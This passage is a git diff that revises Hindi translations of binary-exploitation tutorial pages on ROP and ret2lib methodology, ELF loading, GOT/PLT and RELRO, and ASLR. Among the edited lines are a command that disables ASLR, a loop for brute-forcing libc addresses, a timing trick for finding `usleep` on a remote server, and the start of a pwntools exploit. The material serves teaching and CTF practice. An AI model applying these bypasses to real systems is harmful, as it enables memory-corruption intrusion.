कमांड चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को पैरामीटर के साथ कॉल करने के लिए गैजेट्स** खोजने में सक्षम होना चाहिए। - यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) सक्षम हैं, तो आपको **ROP गैजेट्स** का उपयोग करने के लिए उन्हें हराना होगा। - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है। - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए। @@ -86,25 +86,25 @@ tools/ - [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): एक लाइब्रेरी (आमतौर पर **`libc`**) से एक फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार किए गए तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **लाइब्रेरी** को लोड करने की आवश्यकता है जिसमें आप कॉल करना चाहते हैं (आमतौर पर libc)। - यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं। -- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और लोड की गई libc संस्करण को जानने के लिए**, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं। -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, libc को जानने और बाइनरी का उपयोग करते हुए `system`** फ़ंक्शन के लिए, **GOT में system के पते पर `ret`** करना संभव है, जिसमें `'/bin/sh'` का पता पैरामीटर में है (आपको इसे समझना होगा)। -- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/index.html) नहीं, libc को जानने और **बाइनरी का उपयोग नहीं करते हुए `system`**: -- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें ताकि `system` का पता हल किया जा सके और इसे कॉल किया जा सके। -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` का पता निकालें। +- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और लोड की गई libc संस्करण** को जानने के लिए, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, libc को जानने और बाइनरी के `system`** फ़ंक्शन का उपयोग करते समय, **GOT में system के पते पर `ret` करने के लिए** `/bin/sh` के पते के साथ (आपको इसे समझना होगा)। +- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/index.html) नहीं, libc को जानने और **बाइनरी के `system`** का उपयोग न करने पर: +- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें `system` के पते को हल करने और इसे कॉल करने के लिए। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` के पते की गणना करें। - **साथ में** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और libc को न जानते हुए**: आपको: - [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को बायपास करना होगा। -- उपयोग की गई **`libc` संस्करण** खोजें (कुछ फ़ंक्शन पते लीक करें)। -- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों की जांच करें**। +- उपयोग की गई **`libc` संस्करण** को खोजें (कुछ फ़ंक्शन पते लीक करें)। +- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों** की जांच करें। #### Via EBP/RBP - [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें। - **off-by-one** स्टैक ओवरफ्लो के लिए उपयोगी। -- EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी जबकि EIP का दुरुपयोग करके मेमोरी में पेलोड का निर्माण करना और फिर EBP के माध्यम से उस पर कूदना। +- EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी जबकि EIP का दुरुपयोग करके मेमोरी में पे लोड का निर्माण करना और फिर EBP के माध्यम से उस पर कूदना। #### Misc -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है। +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स होते हैं जो कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है। - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं। - [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते। diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index cc0fc7836..610038c5f 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -4,7 +4,7 @@ ## प्रोग्राम हेडर -यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड करना है: +यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड किया जाए: ```bash readelf -lW lnstat @@ -165,7 +165,7 @@ CONTENTS, READONLY ### मेटा अनुभाग -- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन वे जो वास्तव में प्रोग्राम द्वारा उपयोग नहीं की जाती हैं)। उदाहरण के लिए, इसमें अनुभाग के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा। +- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन वे जो वास्तव में प्रोग्राम द्वारा उपयोग नहीं की जाती हैं)। उदाहरण के लिए, इसमें अनुभागों के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा। - स्ट्रिंग तालिका का स्थान खोजने के लिए, ELF में स्ट्रिंग तालिका के लिए एक पॉइंटर होता है। - **सिंबल तालिका**: इसमें प्रतीकों के बारे में जानकारी होती है जैसे नाम (स्ट्रिंग तालिका में ऑफ़सेट), पता, आकार और प्रतीक के बारे में अधिक मेटाडेटा। @@ -173,7 +173,7 @@ CONTENTS, READONLY - **`.text`**: प्रोग्राम को चलाने के लिए निर्देश। - **`.data`**: प्रोग्राम में परिभाषित मान के साथ वैश्विक चर। -- **`.bss`**: वैश्विक चर जो अनियोजित छोड़ दिए गए हैं (या शून्य पर प्रारंभिक)। यहाँ के चर स्वचालित रूप से शून्य पर प्रारंभिक होते हैं, इसलिए बाइनरी में बेकार शून्य जोड़ने से रोका जाता है। +- **`.bss`**: वैश्विक चर जो अनियोजित छोड़ दिए गए हैं (या शून्य पर प्रारंभ किए गए हैं)। यहाँ के चर स्वचालित रूप से शून्य पर प्रारंभ होते हैं, इसलिए बाइनरी में बेकार शून्य जोड़ने से रोका जाता है। - **`.rodata`**: स्थायी वैश्विक चर (पढ़ने के लिए केवल अनुभाग)। - **`.tdata`** और **`.tbss`**: जैसे .data और .bss जब थ्रेड-स्थानीय चर का उपयोग किया जाता है (`__thread_local` C++ में या `__thread` C में)। - **`.dynamic`**: नीचे देखें। @@ -210,9 +210,9 @@ Num: Value Size Type Bind Vis Ndx Name - **मान** (स्मृति में पता) - **आकार** -#### GNU प्रतीक संस्करणन (dynsym/dynstr/gnu.version) +#### GNU प्रतीक संस्करणिंग (dynsym/dynstr/gnu.version) -आधुनिक glibc प्रतीक संस्करणों का उपयोग करता है। आप `.gnu.version` और `.gnu.version_r` में प्रविष्टियाँ देखेंगे और प्रतीक नाम जैसे `strlen@GLIBC_2.17`। गतिशील लिंककर्ता प्रतीक को हल करते समय एक विशिष्ट संस्करण की आवश्यकता कर सकता है। मैनुअल स्थानांतरण (जैसे ret2dlresolve) बनाते समय, आपको सही संस्करण अनुक्रमांक प्रदान करना होगा, अन्यथा समाधान विफल हो जाता है। +आधुनिक glibc प्रतीक संस्करणों का उपयोग करता है। आप `.gnu.version` और `.gnu.version_r` में प्रविष्टियाँ और प्रतीक नाम जैसे `strlen@GLIBC_2.17` देखेंगे। गतिशील लिंककर्ता प्रतीक को हल करते समय एक विशिष्ट संस्करण की आवश्यकता कर सकता है। मैनुअल स्थानांतरण (जैसे ret2dlresolve) बनाते समय, आपको सही संस्करण अनुक्रमांक प्रदान करना होगा, अन्यथा समाधान विफल हो जाता है। ## गतिशील अनुभाग ``` @@ -249,19 +249,19 @@ Tag Type Name/Value 0x000000006ffffff9 (RELACOUNT) 15 0x0000000000000000 (NULL) 0x0 ``` -The NEEDED directory यह संकेत करता है कि प्रोग्राम **उल्लेखित लाइब्रेरी को लोड करने की आवश्यकता है** ताकि यह जारी रह सके। NEEDED directory तब पूरी होती है जब साझा **लाइब्रेरी पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार** होती है। +NEEDED निर्देशिका यह संकेत करती है कि प्रोग्राम को जारी रखने के लिए **उल्लेखित पुस्तकालय को लोड करने की आवश्यकता है**। NEEDED निर्देशिका तब पूरी होती है जब साझा **पुस्तकालय पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार** होता है। ### डायनामिक लोडर खोज क्रम (RPATH/RUNPATH, $ORIGIN) `DT_RPATH` (deprecated) और/या `DT_RUNPATH` यह प्रभावित करते हैं कि डायनामिक लोडर निर्भरताओं के लिए कहाँ खोजता है। मोटे तौर पर क्रम: -- `LD_LIBRARY_PATH` (setuid/sgid या अन्य "सुरक्षित-निष्पादन" प्रोग्रामों के लिए अनदेखा किया गया) +- `LD_LIBRARY_PATH` (setuid/sgid या अन्यथा "सुरक्षित-निष्पादन" प्रोग्रामों के लिए अनदेखा किया गया) - `DT_RPATH` (केवल यदि `DT_RUNPATH` अनुपस्थित है) - `DT_RUNPATH` - `ld.so.cache` - डिफ़ॉल्ट निर्देशिकाएँ जैसे `/lib64`, `/usr/lib64`, आदि। -`$ORIGIN` को RPATH/RUNPATH के अंदर मुख्य ऑब्जेक्ट के निर्देशिका को संदर्भित करने के लिए उपयोग किया जा सकता है। एक हमलावर के दृष्टिकोण से, यह तब महत्वपूर्ण होता है जब आप फ़ाइल सिस्टम लेआउट या वातावरण को नियंत्रित करते हैं। मजबूत बाइनरी (AT_SECURE) के लिए अधिकांश पर्यावरण चर लोडर द्वारा अनदेखा किए जाते हैं। +`$ORIGIN` को RPATH/RUNPATH के अंदर मुख्य ऑब्जेक्ट के निर्देशिका का संदर्भ देने के लिए उपयोग किया जा सकता है। एक हमलावर के दृष्टिकोण से, यह तब महत्वपूर्ण होता है जब आप फ़ाइल सिस्टम लेआउट या वातावरण को नियंत्रित करते हैं। मजबूत बाइनरी (AT_SECURE) के लिए अधिकांश पर्यावरण चर लोडर द्वारा अनदेखा किए जाते हैं। - निरीक्षण करें: `readelf -d ./bin | egrep -i 'r(path|unpath)'` - त्वरित परीक्षण: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (खोज पथ निर्णय दिखाता है) @@ -342,43 +342,45 @@ Offset Info Type Sym. Value Sym. Name + Addend 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` -### स्थिर पुनर्स्थापनाएँ +### Static Relocations -यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से ही उपयोग में है या **ASLR** या किसी अन्य कारण से, तो एक स्थिर पुनर्स्थापन **पॉइंटर्स को सही करता है** जिनके मानों की अपेक्षा थी कि बाइनरी को पसंदीदा पते पर लोड किया जाएगा। +यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से ही उपयोग में है या **ASLR** या किसी अन्य कारण से, एक स्थिर पुनर्स्थापन **पॉइंटर्स को सही करता है** जिनके मानों ने बाइनरी के पसंदीदा पते पर लोड होने की अपेक्षा की थी। उदाहरण के लिए, `R_AARCH64_RELATIV` प्रकार के किसी भी अनुभाग को पुनर्स्थापन पूर्वाग्रह के साथ पते को संशोधित करना चाहिए और जोड़ने वाले मान को जोड़ना चाहिए। -### गतिशील पुनर्स्थापनाएँ और GOT +### Dynamic Relocations and GOT -पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो malloc फ़ंक्शन लोड होने के स्थान की जांच करते समय, यह पता GOT (ग्लोबल ऑफसेट टेबल) तालिका में लिखेगा (जो पुनर्स्थापन तालिका में निर्दिष्ट है) जहां malloc का पता निर्दिष्ट किया जाना चाहिए। +पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो malloc फ़ंक्शन लोड होने के स्थान की जांच करते समय, यह GOT (Global Offset Table) तालिका में इस पते को लिखेगा (जो पुनर्स्थापन तालिका में निर्दिष्ट है) जहां malloc का पता निर्दिष्ट किया जाना चाहिए। -### प्रक्रिया लिंक तालिका +### Procedure Linkage Table PLT अनुभाग आलसी बाइंडिंग करने की अनुमति देता है, जिसका अर्थ है कि किसी फ़ंक्शन के स्थान का समाधान पहली बार जब इसे एक्सेस किया जाता है, तब किया जाएगा। तो जब एक कार्यक्रम malloc को कॉल करता है, तो यह वास्तव में PLT में `malloc` के संबंधित स्थान को कॉल करता है (`malloc@plt`)। पहली बार जब इसे कॉल किया जाता है, तो यह `malloc` का पता हल करता है और इसे संग्रहीत करता है ताकि अगली बार जब `malloc` को कॉल किया जाए, तो उस पते का उपयोग PLT कोड के बजाय किया जाए। -#### आधुनिक लिंकिंग व्यवहार जो शोषण को प्रभावित करते हैं +#### Modern linking behaviors that impact exploitation + +- `-z now` (Full RELRO) आलसी बाइंडिंग को निष्क्रिय करता है; PLT प्रविष्टियाँ अभी भी मौजूद हैं लेकिन GOT/PLT को केवल पढ़ने के लिए मैप किया गया है, इसलिए **GOT overwrite** और **ret2dlresolve** जैसी तकनीकें मुख्य बाइनरी के खिलाफ काम नहीं करेंगी (पुस्तकालय अभी भी आंशिक रूप से RELRO हो सकते हैं)। देखें: -- `-z now` (पूर्ण RELRO) आलसी बाइंडिंग को निष्क्रिय करता है; PLT प्रविष्टियाँ अभी भी मौजूद हैं लेकिन GOT/PLT को केवल पढ़ने के लिए मैप किया गया है, इसलिए **GOT ओवरराइट** और **ret2dlresolve** जैसी तकनीकें मुख्य बाइनरी के खिलाफ काम नहीं करेंगी (पुस्तकालय अभी भी आंशिक रूप से RELRO हो सकते हैं)। देखें: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -- `-fno-plt` संकलक को **GOT प्रविष्टि सीधे** बाहरी फ़ंक्शनों को कॉल करने के लिए बनाता है बजाय PLT स्टब के माध्यम से जाने के। आप कॉल अनुक्रम देखेंगे जैसे `mov reg, [got]; call reg` बजाय `call func@plt` के। यह अनुमानित-कार्य निष्पादन के दुरुपयोग को कम करता है और PLT स्टब के चारों ओर ROP गैजेट शिकार को थोड़ा बदलता है। +- -fno-plt कंपाइलर को **GOT प्रविष्टि सीधे** बाहरी फ़ंक्शनों को कॉल करने के लिए बनाता है बजाय PLT स्टब के माध्यम से जाने के। आप कॉल अनुक्रम देखेंगे जैसे mov reg, [got]; call reg बजाय call func@plt। यह अनुमानित-कार्य निष्पादन के दुरुपयोग को कम करता है और PLT स्टब के चारों ओर ROP गैजेट शिकार को थोड़ा बदलता है। -- PIE बनाम स्थिर-PIE: PIE (ET_DYN के साथ `INTERP`) गतिशील लोडर की आवश्यकता होती है और सामान्य PLT/GOT मशीनरी का समर्थन करता है। स्थिर-PIE (ET_DYN बिना `INTERP`) में पुनर्स्थापनें कर्नेल लोडर द्वारा लागू की जाती हैं और कोई `ld.so` नहीं होता; रनटाइम पर PLT समाधान की अपेक्षा न करें। +- PIE बनाम static-PIE: PIE (ET_DYN के साथ INTERP) को गतिशील लोडर की आवश्यकता होती है और सामान्य PLT/GOT मशीनरी का समर्थन करता है। Static-PIE (ET_DYN बिना INTERP) में पुनर्स्थापनें कर्नेल लोडर द्वारा लागू की जाती हैं और कोई ld.so नहीं है; रनटाइम पर PLT समाधान की अपेक्षा न करें। > यदि GOT/PLT एक विकल्प नहीं है, तो अन्य लिखने योग्य कोड-पॉइंटर्स पर स्विच करें या libc में क्लासिक ROP/SROP का उपयोग करें। + {{#ref}} ../arbitrary-write-2-exec/aw2exec-got-plt.md {{#endref}} -## कार्यक्रम प्रारंभिककरण +## Program Initialization -कार्यक्रम के लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **आरंभ** किया जाना चाहिए, जैसे: +कार्यक्रम लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **आरंभ** किया जाना चाहिए, जैसे: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -424,12 +426,12 @@ Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** tha ### Initialization Order -1. प्रोग्राम को मेमोरी में लोड किया जाता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक किया जाता है और अनियोजित वाले **`.bss`** में शून्य किए जाते हैं। -2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** को **initialized** किया जाता है और **dynamic linking** को निष्पादित किया जाता है। -3. **`PREINIT_ARRAY`** कार्यों को निष्पादित किया जाता है। -4. **`INIT_ARRAY`** कार्यों को निष्पादित किया जाता है। +1. प्रोग्राम मेमोरी में लोड होता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक होते हैं और अनियोजित शून्य होते हैं **`.bss`** में। +2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** **initialized** होते हैं और **dynamic linking** निष्पादित होता है। +3. **`PREINIT_ARRAY`** कार्य निष्पादित होते हैं। +4. **`INIT_ARRAY`** कार्य निष्पादित होते हैं। 5. यदि कोई **`INIT`** प्रविष्टि है, तो इसे कॉल किया जाता है। -6. यदि एक पुस्तकालय है, तो dlopen यहाँ समाप्त होता है, यदि एक प्रोग्राम है, तो **real entry point** (`main` function) को कॉल करने का समय है। +6. यदि एक पुस्तकालय है, तो dlopen यहाँ समाप्त होता है, यदि एक प्रोग्राम है, तो यह **real entry point** (`main` function) को कॉल करने का समय है। ## Thread-Local Storage (TLS) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index 865758347..f71b1ea2f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -4,23 +4,23 @@ ## Basic Information -**एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में **सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पते** को रैंडमाइज़ करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के एक्सप्लॉइट्स, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है। +**एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में **सिस्टम और एप्लिकेशन प्रक्रियाओं** द्वारा उपयोग किए जाने वाले मेमोरी पते को **रैंडमाइज़** करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के हमलों, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है। ### **ASLR स्थिति की जांच करना** -Linux सिस्टम पर ASLR स्थिति **जांचने** के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि किस प्रकार का ASLR लागू किया जा रहा है: +Linux सिस्टम पर ASLR स्थिति **जांचने** के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि ASLR का कौन सा प्रकार लागू किया जा रहा है: - **0**: कोई रैंडमाइजेशन नहीं। सब कुछ स्थिर है। - **1**: संवेदनशील रैंडमाइजेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पृष्ठ रैंडमाइज किए जाते हैं। -- **2**: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, `brk()` के माध्यम से प्रबंधित मेमोरी रैंडमाइज की जाती है। +- **2**: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, `brk()` के माध्यम से प्रबंधित मेमोरी भी रैंडमाइज की जाती है। आप निम्नलिखित कमांड के साथ ASLR स्थिति की जांच कर सकते हैं: ```bash cat /proc/sys/kernel/randomize_va_space ``` -### **ASLR को अक्षम करना** +### **ASLR को बंद करना** -ASLR को **अक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` का मान **0** पर सेट करते हैं। ASLR को अक्षम करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे अक्षम करने का तरीका यहाँ है: +ASLR को **बंद** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` का मान **0** पर सेट करते हैं। ASLR को बंद करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे बंद करने का तरीका यहाँ है: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` @@ -43,7 +43,7 @@ kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` -`/etc/sysctl.conf` को संपादित करने के बाद, परिवर्तनों को लागू करने के लिए: +`/etc/sysctl.conf` में संपादन करने के बाद, परिवर्तनों को लागू करने के लिए: ```bash sudo sysctl -p ``` @@ -69,14 +69,14 @@ PaX प्रक्रिया पते की जगह को **3 समू ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त लेता है**, तो आपने इस फ़ंक्शन का पता खोज लिया है। +- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप `libc` फ़ंक्शन `usleep` के पते को **ब्रूट-फोर्स** करने की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है**, तो आपने इस फ़ंक्शन का पता खोज लिया है। > [!TIP] > 64-बिट सिस्टम में एंट्रॉपी बहुत अधिक होती है और यह संभव नहीं होना चाहिए। ### 64 बिट स्टैक ब्रूट-फोर्सिंग -यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे शोषण करने के लिए स्थानीय रूप से सैकड़ों/हजारों बार दुरुपयोग करने की कोशिश की जाए।\ +यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे स्थानीय रूप से सैकड़ों/हजारों बार शोषण करने के लिए दुरुपयोग करने की कोशिश की जाए।\ निम्नलिखित कोड दिखाता है कि **स्टैक में केवल एक पता चुनना** कैसे संभव है और हर **कुछ सौ निष्पादनों** में वह पता **NOP निर्देश** को समाहित करेगा: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie @@ -147,14 +147,14 @@ pass एक प्रक्रिया की फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें **दिलचस्प** जानकारी होती है जैसे: -- **startcode** & **endcode**: बाइनरी के **TEXT** के ऊपर और नीचे के पते +- **startcode** & **endcode**: बाइनरी के **TEXT** के साथ ऊपर और नीचे के पते - **startstack**: **stack** की शुरुआत का पता -- **start_data** & **end_data**: जहाँ **BSS** है, उसके ऊपर और नीचे के पते +- **start_data** & **end_data**: जहां **BSS** है, उसके ऊपर और नीचे के पते - **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते -- **arg_start** & **arg_end**: जहाँ **cli arguments** हैं, उसके ऊपर और नीचे के पते। -- **env_start** &**env_end**: जहाँ **env variables** हैं, उसके ऊपर और नीचे के पते। +- **arg_start** & **arg_end**: जहां **cli arguments** हैं, उसके ऊपर और नीचे के पते +- **env_start** &**env_end**: जहां **env variables** हैं, उसके ऊपर और नीचे के पते -इसलिए, यदि हमलावर उसी कंप्यूटर में है जहाँ बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग **इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है**। तो हमलावर के लिए **इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है**। +इसलिए, यदि हमलावर उसी कंप्यूटर में है जहां बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग **इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है**। तो हमलावर के लिए **इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है**। > [!TIP] > इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें @@ -163,7 +163,7 @@ pass - **चुनौती एक लीक देना है** -यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग में है)। यह उदाहरण शोषण [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें): +यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग किया जा रहा है)। यह उदाहरण शोषण [**यहां से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें): ```python from pwn import * @@ -190,7 +190,8 @@ 